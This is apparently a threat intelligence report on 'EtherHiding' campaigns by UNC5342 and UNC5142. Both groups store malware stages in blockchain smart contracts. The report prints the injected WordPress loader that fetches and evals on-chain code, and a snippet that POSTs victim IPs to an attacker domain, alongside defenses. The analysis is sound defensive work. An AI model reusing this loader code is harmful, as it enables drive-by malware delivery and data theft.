Figure 1 presents a general overview of the social engineering attack chain. The victim receives a malicious interview question, deceiving the victim into running code that executes the initial JavaScript downloader that interacts with a malicious smart contract and downloads the second-stage payload. The smart contract hosts the JADESNOW downloader that interacts with Ethereum to fetch the third-stage payload, in this case INVISIBLEFERRET.JAVASCRIPT. The payload is run in memory and may query Ethereum for an additionalcredential stealercomponent. It is unusual to see a threat actor make use of multiple blockchains for EtherHiding activity; this may indicate operational compartmentalization between teams of North Korean cyber operators. Lastly, campaigns frequently leverage EtherHiding’s flexible nature to update the infection chain and shift payload delivery locations. In one transaction, the JADESNOW downloader can switch from fetching a payload on Ethereum to fetching it on the BNB Smart Chain. This switch not only complicates analysis but also leverages lower transaction fees offered by alternate networks.
Figure 1: UNC5342 EtherHiding on BNB Smart Chain and Ethereum
Malicious Smart Contracts
BNB Smart Chain and Ethereum are both designed to run decentralized applications (dApps) and smart contracts. A smart contract is code on a blockchain that automatically executes actions when certain conditions or agreements are met, enabling secure, transparent, and automated agreements without intermediaries. Smart contracts are compiled into bytecode and uploaded to the blockchain, making them publicly available to be disassembled for analysis.
BNB Smart Chain, like Ethereum, is a decentralized and permissionless blockchain network that supports smart contracts programmed for the Ethereum Virtual Machine (EVM). Although smart contracts offer innovative ways to build decentralized applications, their unchangeable nature is leveraged in EtherHiding to host and serve malicious code in a manner that cannot be easily blocked.
Making use of Ethereum and BNB Smart Chain for the purpose of EtherHiding is straightforward since it simply involves calling a custom smart contract on the blockchain. UNC5342’s interactions with the blockchain networks are done through centralized API service providers rather than Remote Procedure Call (RPC) endpoints, as seen with CLEARFAKE. When contacted by GTIG, responsible API service providers were quick to take action against this malicious activity; however, several other platforms have remained unresponsive. This indifference and lack of collaboration is a significant concern, as it increases the risk of this technique proliferating among threat actors.
JADESNOW On-Chain Analysis
The initial downloader queries the BNB Smart Chain through a variety of API providers, including Binplorer, to read the JADESNOW payload stored at the smart contract at address 0x8eac3198dd72f3e07108c4c7cff43108ad48a71c.
Figure 2 is an example of an API call to read data stored in the smart contract from the transaction history. The transaction details show that the contract has been updated over 20 times within the first four months, with each update costing an average of $1.37 USD in gas fees. The low cost and frequency of these updates illustrate the attacker’s ability to easily change the campaign’s configuration. This smart contract has also been linked to a software supply chain attack that impacted React Native Aria and GlueStack via compromised npm packages in June 2025
Blockchain explorers like BscScan (for BNB Smart Chain) and Etherscan (for Ethereum) are essential tools for reviewing on-chain information like smart contract code and historic transactions to and from the contract. These transactions may include input data such as a variable Name, its Type, and the Data stored in that variable. Figure 3 shows on-chain activity at the transaction address 0x5c77567fcf00c317b8156df8e00838105f16fdd4fbbc6cd83d624225397d8856, where the Data field contains a Base64-encoded and XOR-encrypted message. This message decrypts to a heavily obfuscated JavaScript payload that GTIG assesses as the second-stage downloader, JADESNOW.
Figure 3: UNC5342 on-chain activity
When comparing transactions, the launcher-related code remains intact, but the next stage payload is frequently updated with a new obfuscated payload. In this case, the obfuscated payload is run in memory and decrypts an array of strings that combine to form API calls to different transaction hashes on Ethereum. This pivot to a different network is notable. The attackers are not using an Ethereum smart contract to store the payload; instead, they perform a GET request to query the transaction history of their attacker-controlled address and read the calldata stored from transactions made to the well-known “burn” address 0x00…dEaD.
Figure 4: On-chain transactions
The final address of these transactions is inconsequential since the malware only reads the data stored in the details of a transaction, effectively using the blockchain transaction as a Dead Drop Resolver. These transactions are generated frequently, showing how easily the campaign can be updated with a simple blockchain transaction, including changing the C2 server.
The in-memory payload fetches and evaluates the information stored on-chain by querying Ethereum via different blockchain explorer APIs. Multiple explorers are queried simultaneously (including Blockchair, Blockcypher, and Ethplorer), likely as a fail-safe way to ensure payload retrieval. The use of a free API key, such as apiKey=freekey offered by Ethplorer for development, is sufficient for the JADESNOW operation despite strict usage limits.
Payload Analysis
The third stage is the INVISIBLEFERRET.JAVASCRIPT payload stored at the Ethereum transaction address 0x86d1a21fd151e344ccc0778fd018c281db9d40b6ccd4bdd3588cb40fade1a33a. This payload connects to the C2 server via port 3306, the default port for MySQL. It sends an initial beacon with the victim’s hostname, username, operating system, and the directory the backdoor is currently running under. The backdoor proceeds to run in the background, listening for incoming commands to the C2. The command handler is capable of processing arbitrary command execution, executing built-in commands to change the directory, and exfiltrating files, directories, and subdirectories from the victim’s system.
The INVISIBLEFERRET.JAVASCRIPT payload may also be split into different components like is done at the transaction address 0xc2da361c40279a4f2f84448791377652f2bf41f06d18f19941a96c720228cd0f. The split up JavaScript payload executes the INVISIBLEFERRET.JAVASCRIPT backdoor and attempts to install a portable Python interpreter to execute an additional credential stealer component stored at the transaction address 0xf9d432745ea15dbc00ff319417af3763f72fcf8a4debedbfceeef4246847ce41. This additional credential stealer component targets web browsers like Google Chrome and Microsoft Edge to exfiltrate stored passwords, session cookies, and credit cards. The INVISIBLEFERRET.JAVASCRIPT credential stealer component also targets cryptocurrency wallets like MetaMask and Phantom, as well as credentials from other sensitive applications like password managers (e.g., 1Password). The data is compressed into a ZIP archive and uploaded to an attacker-controlled remote server and a private Telegram chat.
The Centralized Dependencies in EtherHiding
Decentralization is a core tenet of blockchain networks and other Web3 technologies. In practice, however, centralized services are often used, which introduces both opportunities and risks. Though blockchains like BNB Smart Chain are immutable and permissionless and the smart contracts deployed onto such blockchains cannot be removed, operations by threat actors using these blockchains are not unstoppable.
Neither North Korea’s UNC5342 nor threat actor UNC5142 are interacting directly with BNB Smart Chain when retrieving information from smart contracts; both threat actors are utilizing centralized services, akin to using traditional Web2 services such as web hosting. This affords astute defenders the opportunity to mitigate such threats. These centralized intermediaries represent points of observation and control, where traffic can be monitored and malicious activity can be addressed through blocking, account suspensions, or other methods. In other words, UNC5142 and UNC5342 are using permissioned services to interact with permissionless blockchains.
These threat actors exhibit two different approaches to utilizing centralized services for interfacing with blockchain networks:
An RPC endpoint is used by UNC5142 (CLEARFAKE) in the EtherHiding activity. This allows direct communication with a BNB Smart Chain node hosted by a third party in a manner that is close to a blockchain node’s “native tongue.”
An API service hosted by a central entity is used by UNC5342 (DPRK), acting as a layer of abstraction between the threat actor and the blockchain.
Though the difference is nuanced, these intermediary services are positioned to directly impact threat actor operations. Another approach not observed in these operations is to operate a node that integrates fully with the blockchain network. Running a full node is resource-intensive, slow to sync, and creates a significant hardware and network footprint that can be traced, making it a cumbersome and risky tool for cyber operations.
Recommendations
EtherHiding presents new challenges as traditional campaigns have usually been halted by blocking known domains and IPs. Malware authors may leverage the blockchain to perform further malware propagation stages since smart contracts operate autonomously and cannot be shut down.
Figure 5: BscScan warning message
While security researchers attempt to warn the community by tagging a contract as malicious on official blockchain scanners (like the warning on BscScan in Figure 5), malicious activity can still be performed.
Chrome Enterprise: Centralized Mitigation
Chrome Enterprise can be a powerful tool to prevent the impact of EtherHiding by using its centralized management capabilities to enforce policies that directly disrupt the attack chain. This approach shifts security away from relying on individual user discretion and into the hands of a centralized, automated system.
The core strength of Chrome Enterprise resides in Chrome Browser Cloud Management. This platform allows administrators to configure and enforce security policies across all managed browsers in their organization, ensuring consistent protection regardless of the user’s location or device.
For EtherHiding, this means an administrator can deploy a defense strategy that does not rely on individual users making the right security decisions.
Key Prevention Policies and Strategies
An administrator can use specific policies to break the EtherHiding attack at multiple points:
1. Block Malicious Downloads
This is the most direct and effective way to stop the attack. The final step of an EtherHiding campaign requires the user to download and run a malicious file (e.g., from a fake update prompt). Chrome Enterprise can prevent this entirely.
DownloadRestrictions Policy: An admin can configure this policy to block downloads of dangerous file types. By setting this policy to block file types like .exe, .msi, .bat, and .dll, the malicious payload can not be saved to the user’s computer, effectively stopping the attack.
2. Automate and Manage Browser Updates
EtherHiding heavily relies on social engineering, most notably by using a pop-up that tells the user “Your Chrome is out of date.” In a managed enterprise environment, this should be an immediate red flag.
Managed Updates: Administrators use Chrome Enterprise to control and automate browser updates. Updates are pushed silently and automatically in the background.
User Training: Because updates are managed, employees can be trained with a simple, powerful message: “You will never be asked to manually update Chrome.” Any prompt to do so is considered a scam and thus undermines the primary social engineering tactic.
3. Control Web Access and Scripts
While attackers constantly change their infrastructure, policies can still reduce the initial attack surface.
URLBlocklistPolicy: Admins can block access to known malicious websites, domains, or even the URLs of blockchain nodes if they are identified by threat intelligence.
Safe Browsing: Policies can enforce Google’s Safe Browsing in its most enhanced mode, which uses real-time threat intelligence to warn users about phishing sites and malicious downloads.
Acknowledgements
This analysis would not have been possible without the assistance from across Google Threat Intelligence Group, including the Koreas Mission, FLARE, and Advanced Practices.
Written by: Mark Magee, Jose Hernandez, Bavi Sadayappan, Jessa Valdez
Since late 2023, Mandiant Threat Defense and Google Threat Intelligence Group (GTIG) have tracked UNC5142, a financially motivated threat actor that abuses the blockchain to facilitate the distribution of information stealers (infostealers).UNC5142 is characterized by its use of compromised WordPress websites and “EtherHiding“, a technique used to obscure malicious code or data by placing it on a public blockchain, such as the BNB Smart Chain. This post is part of a two-part blog series on adversaries using the EtherHiding technique. Read our other post on North Korea (DPRK) adopting EtherHiding.
Since late 2023, UNC5142 has significantly evolved their tactics, techniques, and procedures (TTPs) to enhance operational security and evade detection. Notably, we have not observed UNC5142 activity since late July 2025, suggesting a shift in the actor’s operational methods or a pause in their activity.
UNC5142 appears to indiscriminately target vulnerable WordPress sites, leading to widespread and opportunistic campaigns that impact a range of industry and geographic regions. As of June 2025, GTIG had identified approximately 14,000 web pages containing injected JavaScript consistent with an UNC5142 compromised website. We have seen UNC5142 campaigns distribute infostealers including ATOMIC, VIDAR, LUMMAC.V2, and RADTHIEF. GTIG does not currently attribute these final payloads to UNC5142 as it is possible these payloads are distributed on behalf of other threat actors. This post will detail the full UNC5142 infection chain, analyze its novel use of smart contracts for operational infrastructure, and chart the evolution of its TTPs based on direct observations from Mandiant Threat Defense incidents.
UNC5142 Attack Overview
An UNC5142 infection chain typically involves the following key components or techniques:
CLEARSHORT: A multistage JavaScript downloader to facilitate the distribution of payloads
Compromised WordPress Websites: Websites running vulnerable versions of WordPress, or using vulnerable plugins/themes
Smart Contracts: Self-executing contracts stored on the BNB Smart Chain (BSC) blockchain
EtherHiding: A technique used to obscure malicious code or data by placing it on a public blockchain. UNC5142 relies heavily on the BNB Smart Chain to store its malicious components in smart contracts, making them harder for traditional website security tools to detect and block
Figure 1: CLEARSHORT infection chain
CLEARSHORT
CLEARSHORT is a multistage JavaScript downloader used to facilitate malware distribution. The first stage consists of a JavaScript payload injected into vulnerable websites, designed to retrieve the second-stage payload from a malicious smart contract. The smart contract is responsible for fetching the next stage, a CLEARSHORT landing page, from an external attacker-controlled server. The CLEARSHORT landing page leverages ClickFix, a popular social engineering technique aimed at luring victims to locally run a malicious command using the Windows Run dialog box.
CLEARSHORT is an evolution of the CLEARFAKE downloader, which UNC5142 previously leveraged in their operations from late 2023 through mid-2024. CLEARFAKE is a malicious JavaScript framework that masquerades as a Google Chrome browser update notification. The primary function of the embedded JavaScript is to download a payload after the user clicks the “Update Chrome” button. The second-stage payload is a Base64-encoded JavaScript code stored in a smart contract deployed on the BNB Smart Chain.
Compromised WordPress Sites
The attack begins from the compromise of a vulnerable WordPress website which is exploited to gain unauthorized access. UNC5142 injects malicious JavaScript (CLEARSHORT stage 1) code into one of three locations:
Plugin directories: Modifying existing plugin files or adding new malicious files
Theme files: Modifying theme files (like header.php, footer.php, or index.php) to include the malicious script
Database: In some cases, the malicious code is injected directly into the WordPress database
What is a Smart Contract?
Smart contracts are programs stored on a blockchain, like the BNB Smart Chain (BSC), that run automatically when a specified trigger occurs. While these triggers can be complex, CLEARSHORT uses a simpler method by calling a function that tells the contract to execute and return a pre-stored piece of data.
Smart contracts provide several advantages for threat actors to use in their operations, including:
Obfuscation: Storing malicious code within a smart contract makes it harder to detect with traditional web security tools that might scan website content directly.
Mutability (and Agility): While smart contracts themselves are immutable, the attackers use a clever technique. They deploy a first-level smart contract that contains a pointer to a second-level smart contract. The first-level contract acts as a stable entry point whose address never changes on the compromised website, directing the injected JavaScript to fetch code from a second-level contract, giving the attackers the ability to change this target without altering the compromised website.
Resilience: The use of blockchain technology for large parts of UNC5142’s infrastructure and operation increases their resiliency in the face of detection and takedown efforts. Network based protection mechanisms are more difficult to implement for Web3 traffic compared to traditional web traffic given the lack of use of traditional URLs. Seizure and takedown operations are also hindered given the immutability of the blockchain. This is further discussed later in the post.
Leveraging legitimate infrastructure: The BNB Smart Chain is a legitimate platform. Using it can help the malicious traffic blend in with normal activity as a means to evade detection.
Smart Contract Interaction
CLEARSHORT stage 1 uses Web3.js, a collection of libraries that allow interaction with remote ethereum nodes using HTTP, IPC or WebSocket. Typically to connect to the BNB Smart Chain via a public node like bsc-dataseed.binance[.]org. The stage 1 code contains instructions to interact with specific smart contract addresses, and calls functions defined in the contract’s Application Binary Interface (ABI). These functions return payloads, including URLs to the CLEARSHORT landing page. This page is decoded and executed within the browser, displaying a fake error message to the victim. The lure and template of this error message has varied over time, while maintaining the goal to lure the victim to run a malicious command via the Run dialog box. The executed command ultimately results in the download and execution of a follow-on payload, which is often an infostealer.
// Load libraries from public CDNs to intereact with blockchain and decode payloads.
<script src="https://cdn.jsdelivr.net/npm/web3@latest/dist/web3.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/pako/2.0.4/pako.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/crypto-js@4.1.1/crypto-js.min.js"></script>
<script>
console.log('Start moving...');
// The main malicious logic starts executing once the webpage's DOM is fully loaded.1st
document.addEventListener('DOMContentLoaded', async () => {
try {
// Establishes a connection to the BNB Smart Chain via a public RPC node.
const web3 = new Web3('https://bsc-dataseed.binance.org/');
// Creates an object to interact with the 1st-Level Smart Contract.
const contract = new web3.eth.Contract([
{
"inputs": [],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "orchidABI", // Returns 2nd contract ABI
"outputs": [{
"internalType": "string",
"name": "",
"type": "string"
}],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "orchidAddress",// Returns 2nd contract address
"outputs": [{
"internalType": "string",
"name": "",
"type": "string"
}],
"stateMutability": "view",
"type": "function"
},
], '0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53'); // Hardcoded address of the 1st-Level Contract.
// ABI is Base64 decoded and then decompressed to get clean ABI.
const orchidABI = JSON.parse(pako.ungzip(Uint8Array.from(atob(await contract.methods.orchidABI().call()), c => c.charCodeAt(0)), {
to: 'string'
}));
// Calls the 'orchidAddress' function to get the address of the 2nd-Level Contract.
const orchidAddress = await contract.methods.orchidAddress().call();
// New contract object created to represent 2nd-level contract.
const orchid = new web3.eth.Contract(orchidABI, orchidAddress);
const decompressedScript = pako.ungzip(Uint8Array.from(atob(await orchid.methods.tokyoSkytree().call()), c => c.charCodeAt(0)), {
to: 'string'
});
eval(`(async () => { ${decompressedScript} })().then(() => { console.log('Moved.'); }).catch(console.error);`);
} catch (error) {
console.error('Road unavaible:', error);
}
});
</script>
Figure 2: Injected code from a compromised website – CLEARSHORT stage 1
When a user visits a compromised web page, the injected JavaScript executes in the browser and initiates a set of connections to one or multiple BNB smart contracts, resulting in the retrieval and rendering of the CLEARSHORT landing page (stage 2) (Figure 3).
A key element of UNC5142’s operations is their use of the EtherHiding technique. Instead of embedding their entire attack chain within the compromised website, they store malicious components on the BNB Smart Chain, using smart contracts as a dynamic configuration and control backend.The on-chain operation is managed by one or more actor-controlled wallets. These Externally Owned Accounts (EOAs) are used to:
Deploy the smart contracts, establishing the foundation of the attack chain.
Supply the BNB needed to pay network fees for making changes to the attack infrastructure.
Update pointers and data within the contracts, such as changing the address of a subsequent contract or rotating the payload decryption keys.
Figure 4: UNC5142’s EtherHiding architecture on the BNB Smart Chain
Evolution of UNC5142 TTPs
Over the past year, Mandiant Threat Defense and GTIG have observed a consistent evolution in UNC5142’s TTPs. Their campaigns have progressed from a single-contract system to the significantly more complex three-level smart contract architecture that enables their dynamic, multi-stage approach beginning in late 2024.
This evolution is characterized by several key shifts: the adoption of a three smart contract system for dynamic payload delivery, the abuse of legitimate services like Cloudflare Pages for hosting malicious lures, and a transition from simple Base64 encoding to AES encryption. The actor has continuously refined its social engineering lures and expanded its infrastructure, at times operating parallel sets of smart contracts to increase both the scale and resilience of their campaigns.
Timeframe
Key Changes
Hosting & Infrastructure
Lure Encoding / Encryption
Notable Lures & Payloads
May 2024
Single smart contract system
.shop TLDs for lures and C2
Base64
Fake Chrome update lures
November 2024
Introduction of the three-smart-contract system
Abuse of Cloudflare *.pages.dev for lures
.shop / .icu domains for recon
AES-GCM + Base64
STUN server for victim IP recon
January 2025
Refinement of the three-contract system
Continued *.pages.dev abuse
AES-GCM + Base64
New lures: Fake reCaptcha, Data Privacy agreements
ATOMIC (macOS), VIDAR
February 2025
Secondary infrastructure deployed
Payload URL stored in smart contract
Expanded use of *.pages.dev and new payload domains
AES-GCM + Base64
New Lure: Cloudflare “Unusual Web Traffic” error
Recon check-in removed, replaced by cookie tracking
March 2025
Active use of both Main and Secondary infrastructure
MediaFire and GitHub for payload hosting
AES-GCM + Base64
Staged POST check-ins to track victim interaction
RADTHIEF, LUMMAC.V2
May 2025
Continued refinement of lures and payload delivery
*.pages.dev for lures, various TLDs for payloads
AES-GCM + Base64
New Lure: “Anti-Bot Verification” for Windows & macOS
Cloudflare Pages Abuse
In late 2024, UNC5142 shifted to the use of the Cloudflare Pages service (*.pages.dev) to host their landing pages; previously they leveraged .shop TLD domains. Cloudflare Pages is a legitimate service maintained by Cloudflare that provides a quick mechanism for standing up a website online, leveraging Cloudflare’s network to ensure it loads swiftly. These pages provide several advantages: Cloudflare is a trusted company, so these pages are less likely to be immediately blocked, and it is easy for the attackers to quickly create new pages if old ones are taken down.
The Three Smart Contract System
The most significant change is the shift from a single smart contract system to a three smart contract system. This new architecture is an adaptation of a legitimate software design principle known as the proxy pattern, which developers use to make their contracts upgradable. A stable, unchangeable proxy forwards calls to a separate second-level contract that can be replaced to fix bugs or add features.
This setup functions as a highly efficient Router-Logic-Storage architecture where each contract has a specific job. This design allows for rapid updates to critical parts of the attack, such as the landing page URL or decryption key, without any need to modify the JavaScript on compromised websites. As a result, the campaigns are much more agile and resistant to takedowns.
1) Initial call to the First-Level contract: The infection begins when the injected JavaScript on a compromised website makes a eth_call to the First-Level Smart Contract (e.g., 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53). The primary function of this contract is to act as a router. Its job is to provide the address and Application Binary Interface (ABI) for the next stage, ensuring attackers rarely need to update the script across their vast network of compromised websites. The ABI data is returned in a compressed and base64 encoded format which the script decodes via atob() and then decompresses using pako.unzip to get the clean interface data.
2) Victim fingerprinting via the Second-Level contract: The injected JavaScript connects to the Second-Level Smart Contract (e.g., 0x8FBA1667BEF5EdA433928b220886A830488549BD). This contract acts as the logic of the attack, containing code to perform reconnaissance actions (Figure 5 and Figure 6). It makes a series of eth_call operations to execute specific functions within the contract to fingerprint the victim’s environment:
teaCeremony (0x9f7a7126), initially served as a method for dynamic code execution and page display. Later it was used for adding and removing POST check-ins.
shibuyaCrossing (0x1ba79aa2), responsible for identifying the victim’s platform or operating system with additional OS/platform values added over time
asakusaTemple (0xa76e7648), initially a placeholder for console log display that later evolved into a beacon for tracking user interaction stages by sending user-agent values
ginzaLuxury (0xa98b06d3), responsible for retrieving the code for finding, fetching, decrypting, and ultimately displaying the malicious lure to the user
The functionality for command and control (C2) check-ins has evolved within the contract:
Late 2024: The script used a STUN server (stun:stun.l.google.com:19302) to obtain the victim’s public IP and sent it to a domain like saaadnesss[.]shoporlapkimeow[.]icu/check.
February 2025: The STUN-based POST check-in was removed and replaced with a cookie-based tracking mechanism (data-ai-collecting) within the teaCeremony (0x9f7a7126) function.
April 2025: The check-in mechanism was reintroduced and enhanced. The asakusaTemple (0xa76e7648) function was modified to send staged POST requests to the domain ratatui[.]today, beaconing at each phase of the lure interaction to track victim progression.
Figure 5: Example of second-level smart contract transaction contents
//Example of code retrieved from the second-level smart contract (IP check and STUN)
if (await new Promise(r => {
let a = new RTCPeerConnection({ iceServers: [{ urls: "stun:stun.l.google.com:19302" }] });
a.createDataChannel("");
a.onicecandidate = e => {
let ip = e?.candidate?.candidate?.match(/d+.d+.d+.d+/)?.[0];
if (ip) {
fetch('https://saaadnesss[.]shop/check', { // Or lapkimeow[.]icu/check
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ ip, domain: location.hostname })
}).then(r => r.json()).then(data => r(data.status));
a.onicecandidate = null;
}
};
a.createOffer().then(o => a.setLocalDescription(o));
}) === "Decline") {
console.warn("Execution stopped: Declined by server");
} else {
await teaCeremony(await orchid.methods.shibuyaCrossing().call(), 2);
await teaCeremony(await orchid.methods.akihabaraLights().call(), 3);
await teaCeremony(await orchid.methods.ginzaLuxury().call(), 4);
await teaCeremony(await orchid.methods.asakusaTemple().call(), 5);
}
3) Lure & payload URL hosting in Third-Level Contract: Once the victim is fingerprinted, the logic in the Second-Level Contract queries the Third-Level Smart Contract (e.g., 0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA). This final contract acts as a configuration storage container. It typically contains the URL hosting the encrypted CLEARSHORT payload, the AES key to decrypt the page, and the URL hosting the second stage payload.
Figure 7: Encrypted landing page URL
Figure 8: Payload URL
By separating the static logic (second-level) from the dynamic configuration (third-level), UNC5142 can rapidly rotate domains, update lures, and change decryption keys with a single, cheap transaction to their third-level contract, ensuring their campaign remains effective against takedowns.
How an Immutable Contract Can Be ‘Updated’
A key question that arises is how attackers can update something that is, by definition, unchangeable. The answer lies in the distinction between a smart contract’s code and its data.
Immutable code: Once a smart contract is deployed, its program code is permanent and can never be altered. This is the part that provides trust and reliability.
Mutable data (state): However, a contract can also store data, much like a program uses a database. The permanent code of the contract can include functions specifically designed to change this stored data.
UNC5142 exploits this by having their smart contracts built with special administrative functions. To change a payload URL, the actor uses their controlling wallet to send a transaction that calls one of these functions, feeding it the new URL. The contract’s permanent code executes, receives this new information, and overwrites the old URL in its storage.
From that point on, any malicious script that queries the contract will automatically receive the new, updated address. The contract’s program remains untouched, but its configuration is now completely different. This is how they achieve agility while operating on an immutable ledger.
An analysis of the transactions shows that a typical update, such as changing a lure URL or decryption key in the third-level contract, costs the actor between $0.25 and $1.50 USD in network fees. After the one-time cost of deploying the smart contracts, the initial funding for an operator wallet is sufficient to cover several hundred such updates. This low operational cost is a key enabler of their resilient, high-volume campaigns, allowing them to rapidly adapt to takedowns with minimal expense.
AES-Encrypted CLEARSHORT
In December 2024, UNC5142 introduced AES encryption for the CLEARSHORT landing page, shifting away from Base64-encoded payloads that were used previously. Not only does this reduce the effectiveness of some detection efforts, it also increases the difficulty of analysis of the payload by security researchers. The encrypted CLEARSHORT landing page is typically hosted on a Cloudflare .dev page. The function that decrypts the AES-encrypted landing page uses an initialization vector retrieved from the third smart contract (Figure 9 and Figure 10). The decryption is performed client-side within the victim’s browser.
Figure 9: AES Key within smart contract transaction
// Simplified example of the decryption logic
async function decryptScrollToText(encryptedBase64, keyBase64) {
const key = Uint8Array.from(atob(keyBase64), c => c.charCodeAt(0));
const combinedData = Uint8Array.from(atob(encryptedBase64), c => c.charCodeAt(0));
const iv = combinedData.slice(0, 12); // IV is the first 12 bytes
const encryptedData = combinedData.slice(12);
const cryptoKey = await crypto.subtle.importKey(
"raw", key, "AES-GCM", false, ["decrypt"]
);
const decryptedArrayBuffer = await crypto.subtle.decrypt(
{ name: "AES-GCM", iv },
cryptoKey,
encryptedData
);
return new TextDecoder().decode(decryptedArrayBuffer);
}
// ... (Code to fetch encrypted HTML and key from the third-level contract) ...
if (cherryBlossomHTML) { // cherryBlossomHTML contains the encrypted landing page
try {
let sakuraKey = await JadeContract.methods.pearlTower().call(); // Get the AES key
const decryptedHTML = await decryptScrollToText(cherryBlossomHTML, sakuraKey);
// ... (Display the decrypted HTML in an iframe) ...
} catch (error) {
return;
}
}
Figure 10: Simplified decryption logic
CLEARSHORT Templates and Lures
UNC5142 has used a variety of lures for their landing page, evolving them over time:
January 2025: Lures included fake Data Privacy agreements and reCaptcha turnstiles (Figure 11 and Figure 12).
Figure 11: “Disable Data Collection” CLEARSHORT lure
Figure 12: Fake reCAPTCHA lure
March 2025: The threat cluster began using a lure that mimics a Cloudflare IP web error (Figure 13).
Figure 13: Cloudflare “Unusual Web Traffic” error
May 2025: An “Anti-Bot Lure” was observed, presenting another variation of a fake verification step (Figure 14).
Figure 14: Anti-Bot Lure
On-Chain Analysis
Mandiant Threat Defense’s analysis of UNC5142’s on-chain activity on the BNB Smart Chain reveals a clear and evolving operational strategy. A timeline of their blockchain transactions shows the use of two distinct sets of smart contract infrastructures, which GTIG tracks as the Main and Secondary infrastructures. Both serve the same ultimate purpose, delivering malware via the CLEARSHORT downloader.
Leveraging BNB Smart Chain’s smart contract similarity search, a process where the compiled bytecode of smart contracts is compared to find functional commonalities, revealed that the Main and Secondary smart contracts were identical at the moment of their creation. This strongly indicates that the same threat actor, UNC5142, is responsible for all observed activity. It is highly likely that the actor cloned their successful Main infrastructure to create the foundation for Secondary, which could then be updated via subsequent transactions to deliver different payloads.
Further analysis of the funding sources shows that the primary operator wallets for both groups received funds from the same intermediary wallet (0x3b5a...32D), an account associated with the OKX cryptocurrency exchange. While attribution based solely on transactions from a high-volume exchange wallet requires caution, this financial link, combined with the identical smart contract code and mirrored deployment methodologies, makes it highly likely that a single threat actor, UNC5142, controls both infrastructures.
Parallel Distribution Infrastructures
Transaction records show key events for both groups occurring in close proximity, indicating coordinated management.
On Feb. 18, 2025, not only was the entire Secondary infrastructure created and configured, but the Main operator wallet also received additional funding on the same day. This coordinated funding activity strongly suggests a single actor preparing for and executing an expansion of their operations.
Furthermore, on March 3, 2025, transaction records show that operator wallets for both Main and Secondary infrastructures conducted payload and lure update activities. This demonstrates concurrent campaign management, where the actor was actively maintaining and running separate distribution efforts through both sets of smart contracts simultaneously.
Main
Mandiant Threat Defense analysis pinpoints the creation of the Main infrastructure to a brief, concentrated period on Nov. 24, 2024. The primary Main operator wallet (0xF5B9...71B) was initially funded on the same day with 0.1 BNB (worth approximately $66 USD at the time). Over the subsequent months, this wallet and its associated intermediary wallets received funding on multiple occasions, ensuring the actor had sufficient BNB to cover transaction fees for ongoing operations.
The transaction history for Main infrastructure shows consistent updates over the course of the first half of 2025. Following the initial setup, Mandiant observed payload and lure updates occurring on a near-monthly and at times bi-weekly basis from December 2024 through the end of May 2025. This sustained activity, characterized by frequent updates to the third-level smart contract, demonstrates its role as the primary infrastructure for UNC5142’s campaigns.
Secondary
Mandiant Threat Defense observed a significant operational expansion where the actor deployed the new, parallel Secondary infrastructure. The Secondary operator wallet (0x9AAe...fac9) was funded on Feb. 18, 2025, receiving 0.235 BNB (approximately $152 USD at the time). Shortly after, the entire three-contract system was deployed and configured. Mandiant observed that updates to Secondary infrastructure were active between late February and early March 2025. After this initial period, the frequency of updates to the Secondary smart contracts decreased substantially.
Figure 15: Timeline of UNC5142’s on-chain infrastructure
The Main infrastructure stands out as the core campaign infrastructure, marked by its early creation and steady stream of updates. The Secondary infrastructure appears as a parallel, more tactical deployment, likely established to support a specific surge in campaign activity, test new lures, or simply build operational resilience.
As of this publication, the last observed on-chain update to this infrastructure occurred on July 23, 2025, suggesting a pause in this campaign or a potential shift in the actor’s operational methods.
Final Payload Distribution
Over the past year, Mandiant Threat Defense has observed UNC5142 distribute a wide range of final payloads, including VIDAR, LUMMAC.V2, and RADTHIEF (Figure 16). Given the distribution of a variety of payloads over a range of time, it is possible that UNC5142 functions as a malware distribution threat cluster. Distribution threat clusters play a significant role within the cyber criminal threatscape, providing actors of varying levels of technical sophistication a means to distribute malware and/or gain initial access to victim environments. However, given the consistent distribution of infostealers, it’s also plausible that the threat cluster’s objective is to obtain stolen credentials to facilitate further operations, such as selling the credentials to other threat clusters. While the exact business model of UNC5142 is unclear, GTIG currently does not attribute the final payloads to the threat cluster due to the possibility it is a distribution threat cluster.
Figure 16: UNC5142 final payload distribution over time
An analysis of their infection chains since the beginning of 2025 reveals that UNC5142 follows a repeatable four-stage delivery chain after the initial CLEARSHORT lure:
The initial dropper: The first stage almost always involves the execution of a remote HTML Application (.hta) file, often disguised with a benign file extension like .xll (Excel Add-in). This component, downloaded from a malicious domain or a legitimate file-sharing service, serves as the entry point for executing code on the victim’s system outside the browser’s security sandbox.
The PowerShell loader: The initial dropper’s primary role is to download and execute a second-stage PowerShell script. This script is responsible for defense evasion and orchestrating the download of the final payload.
Abuse of legitimate services: The actor has consistently leveraged legitimate file hosting services such as GitHub and MediaFire to host encrypted data blobs, with some instances observed where final payloads were hosted on their own infrastructure. This tactic helps the malicious traffic blend in with legitimate network activity, bypassing reputation-based security filters.
In-memory execution: In early January, executables were being used to serve VIDAR, but since then, the final malware payload has transitioned to being delivered as an encrypted data blob disguised as a common file type (e.g., .mp4, .wav, .dat). The PowerShell loader contains the logic to download this blob, decrypt it in memory, and execute the final payload (often a .NET loader), without ever writing the decrypted malware to disk.
In earlier infection chains, the URL for the first-stage .hta dropper was often hardcoded directly into the CLEARSHORT lure’s command (e.g., mshta hxxps[:]//…pages.dev). The intermediate PowerShell script would then download the final malware directly from a public repository like GitHub.
January 2025
The actor’s primary evolution was to stop delivering the malware directly as an executable file. Instead, they began hosting encrypted data blobs on services like MediaFire, disguised as media files (.mp4, .mp3). The PowerShell loaders were updated to include decryption routines (e.g., AES, TripleDES) to decode these blobs in memory, revealing a final-stage .NET dropper or the malware itself.
February 2025 & Beyond
The most significant change was the deeper integration of their on-chain infrastructure. Instead of hardcoding the dropper URL in the lure, the CLEARSHORT script began making a direct eth_call to the Third-Level Smart Contract. The smart contract now dynamically provides the URL of the first-stage dropper. This gives the actor complete, real-time control over their post-lure infrastructure; they can change the dropper domain, filename, and the entire subsequent chain by simply sending a single, cheap transaction to their smart contract.
